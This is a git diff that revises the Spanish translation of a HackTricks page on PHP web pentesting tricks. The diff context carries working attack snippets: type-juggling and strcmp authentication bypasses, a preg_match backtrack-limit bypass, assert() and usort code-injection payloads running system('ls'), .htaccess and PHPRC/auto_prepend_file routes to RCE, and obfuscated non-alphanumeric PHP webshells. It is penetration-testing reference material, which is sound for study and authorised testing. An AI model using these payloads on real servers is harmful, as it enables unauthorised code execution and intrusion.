Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R

This commit is contained in:
Translator 2024-02-02 12:15:19 +00:00
parent ab59ffbf5e
commit e25ad8b21b

View file

@ -6,11 +6,11 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -36,14 +36,14 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Si se utiliza `==` en PHP, entonces hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también quieres comparar que el tipo de los datos comparados sea el mismo necesitas usar `===`.
Tablas de comparación de PHP: [https://www.php.net/manual/es/types.comparisons.php](https://www.php.net/manual/es/types.comparisons.php)
Tablas de comparación de PHP: [https://www.php.net/manual/es/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (40) (1).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números son iguales (los números en una cadena se interpretan como números)
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas con True como resultado si los números son iguales (los números en una cadena se interpretan como números)
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que está siendo hasheado y comparado con él. Por lo tanto, si puedes proporcionar un valor que creará un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
@ -72,9 +72,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
El mismo error ocurre con `strcasecmp()`
### Conversión de Tipos Estricta
### Manipulación de Tipos Estricta
Incluso si se utiliza `===` podrían haber errores que hacen la **comparación vulnerable** a la **conversión de tipos**. Por ejemplo, si la comparación **convierte los datos a un tipo de objeto diferente antes de comparar**:
Incluso si se utiliza `===`, podrían haber errores que hacen que la **comparación sea vulnerable** a la **manipulación de tipos**. Por ejemplo, si la comparación **convierte los datos a un tipo de objeto diferente antes de comparar**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -108,7 +108,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
#### **Bypass de error de longitud**
(Este bypass se probó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
Si puedes enviar a `preg_match()` una entrada válida muy **grande**, **no podrá procesarla** y podrás **bypass** la verificación. Por ejemplo, si está en la lista negra un JSON, podrías enviar:
Si puedes enviar a `preg_match()` una entrada **muy grande** válida, **no podrá procesarla** y podrás **evitar** la verificación. Por ejemplo, si está en la lista negra un JSON, podrías enviar:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -116,10 +116,10 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchos llamados recursivos, lo que consume mucho espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es de 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), lo cual es más de lo que cabe en la pila.
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando una gran cantidad de llamadas recursivas, lo que consume mucho espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es de 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), lo cual es más de lo que cabe en la pila.
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más en profundidad sobre este problema. Nuestra tarea ahora era clara:\
**Enviar una entrada que hiciera que la regex realice 100\_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devuelva `false` y así hacer que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final del payload algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> flag :)**.
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora era clara:\
**Enviar una entrada que haga que la regex realice 100\_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devuelva `false` y así hacer que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final del payload algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> bandera :)**.
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), por defecto es de 1\_000\_000 (1M) en la variable `pcre.backtrack_limit`.\
Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
@ -151,16 +151,16 @@ readfile($page);
```
## Más trucos
* **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor, por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código.
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** estableciendo el valor de la cookie de la otra ruta.\
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en la ruta1 se aplique a la ruta2**. Y entonces la ruta2 tomará como válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor, por ejemplo, $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código.
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas**, puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la otra cookie de la ruta.\
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre**, puedes hacer que el **valor de esa variable en la ruta1 se aplique a la ruta2**. Y entonces la ruta2 tomará como válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
* Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Comprueba la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
* [**LFI y RCE usando envoltorios de php**](../../../pentesting-web/file-inclusion/)
### password_hash/password_verify
### password\_hash/password\_verify
Estas funciones se utilizan típicamente en PHP para **generar hashes de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\
Los algoritmos soportados son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD_DEFAULT frecuentemente es lo mismo que PASSWORD_BCRYPT.** Y actualmente, **PASSWORD_BCRYPT** tiene una **limitación de tamaño en la entrada de 72bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72bytes con este algoritmo, solo se utilizarán los primeros 72B:
Los algoritmos compatibles son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT es frecuentemente lo mismo que PASSWORD\_BCRYPT.** Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72bytes con este algoritmo, solo se utilizarán los primeros 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -171,7 +171,7 @@ True
### Elusión de cabeceras HTTP abusando de errores de PHP
Si una **página PHP está mostrando errores y devolviendo algún input proporcionado por el usuario**, el usuario puede hacer que el servidor PHP devuelva **contenido lo suficientemente largo** para que, cuando intente **añadir las cabeceras** a la respuesta, el servidor arroje un error.\
En el siguiente escenario, el **atacante provocó que el servidor generara errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (así que, por ejemplo, la cabecera CSP no fue enviada al usuario):
En el siguiente escenario, el **atacante hizo que el servidor lanzara errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (así que, por ejemplo, la cabecera CSP no fue enviada al usuario):
![](<../../../.gitbook/assets/image (465).png>)
@ -201,7 +201,7 @@ Esta opción de preg_replace ha sido **obsoleta a partir de PHP 5.5.0.**
```
### **RCE a través de Assert()**
Esta función dentro de php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Usualmente la variable de usuario será insertada en medio de una cadena. Por ejemplo:\
Esta función dentro de php te permite **ejecutar código que está escrito en una cadena de texto** con el fin de **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Normalmente la variable de usuario se insertará en medio de una cadena de texto. Por ejemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> En este caso para obtener **RCE** podrías hacer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -212,9 +212,9 @@ Necesitarás **romper** la sintaxis del código, **añadir** tu **payload** y lu
**Otra opción** (si tienes el código interno) es modificar alguna variable para alterar la ejecución: `$file = "hola"`
### **RCE a través de usort()**
### **RCE via usort()**
Esta función se utiliza para ordenar un array de elementos utilizando una función específica.\
Esta función se utiliza para ordenar un array de elementos usando una función específica.\
Para abusar de esta función:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -241,20 +241,20 @@ Para descubrir el número de paréntesis que necesitas cerrar:
* `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falten uno o más corchetes.
* `?order=id);}//`: obtenemos una **advertencia**. Eso parece correcto.
* `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre.
* `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tenemos demasiados corchetes de cierre.
### **RCE a través de .httaccess**
### **RCE via .httaccess**
Si puedes **subir** un **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess puedan ser **ejecutados**).
Si puedes **subir** un **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que archivos con extensión .htaccess puedan ser **ejecutados**).
Diferentes shells de .htaccess se pueden encontrar [aquí](https://github.com/wireghoul/htshells)
### RCE a través de Variables de Entorno
### RCE via Variables de Entorno
Si encuentras una vulnerabilidad que te permita **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación quizás se pueda evitar), podrías abusar de este comportamiento para obtener **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
* **`PHPRC`** : Indica a PHP **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para dirigir a PHP hacia él. Añade una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el tiempo de ejecución de PHP antes de cualquier otro código.
* **`PHPRC`** : Indica a PHP **dónde localizar su archivo de configuración**, usualmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para apuntar a PHP hacia él. Añade una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el tiempo de ejecución de PHP antes de cualquier otro código.
1. Sube un archivo PHP que contenga nuestro shellcode
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP para ejecutar el archivo que subimos en el paso 1
3. &#x20;Establece la variable `PHPRC` al archivo que subimos en el paso 2.
@ -361,7 +361,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Al estilo Perl
### Estilo Perl
```php
<?php
$_=[];
@ -405,10 +405,10 @@ $___($_[_]); // ASSERT($_POST[_]);
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>